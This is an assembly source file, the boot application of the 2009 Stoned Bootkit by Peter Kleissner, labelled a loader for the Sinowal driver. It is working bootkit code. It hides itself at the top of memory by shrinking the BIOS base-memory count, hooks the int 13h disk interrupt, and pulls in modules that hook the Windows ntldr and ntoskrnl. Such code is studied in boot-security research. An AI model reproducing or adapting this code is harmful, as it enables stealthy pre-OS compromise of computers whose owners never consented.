
; Sinowal Driver Loader for Sinowal Version from 2008

;   Boot Application of Stoned Bootkit
;   Version 0.1 from 26.04.2009 19:16

;   (C) 2009 Peter Kleissner


[bits 16]                                       ; create a 16 Bit Code
CPU 386                                         ; Assemble instructions up to the 386 instruction set

%include "Module Functions.asm"
%include "Kernel Storage.asm"


; relocate this code to the end of memory

; allocate 2048 KB and get address of newly allocated memory (es:di)
push es
mov si,0413h                                                                    ; using "base memory size in KB" of BIOS Data Area (0040h:0013h)
sub [si],word 2
lodsw
shl ax,6                                                                        ; * 1024 / 16
mov es,ax                                                                       ; store segment address
xor di,di                                                                       ; offset

; now copy this boot application to the end of memory
mov si,Boot_Application
mov ecx,2048 / 4
rep movsd

; backup old int 13h vector
mov eax,[13h * 4]                                                               ; backup IVT vector 13h
mov [es:Interrupt_Vector_13_Return_Address + 1],eax                             ; store the old jump address

; hook int 13h
mov [13h * 4],word Interrupt_13_hook                                            ; new address to jump to on "int 13h" instruction
mov [13h * 4 + 2],es                                                            ; set segment to jump to on int 13h
pop es

; execute the original bootloader - to be removed with Service Interrupt call!
;call word API_Execute_Original_Bootloader
push Boot_Application + Return_
jmp word 0000h:API_Execute_Original_Bootloader

Return_:
cli
hlt


%include "Interrupt 13h Hook.asm"
%include "Ntldr Hook.asm"
%include "Ntoskrnl Hook.asm"
%include "Subsystem.asm"

Total_End_of_Binary:

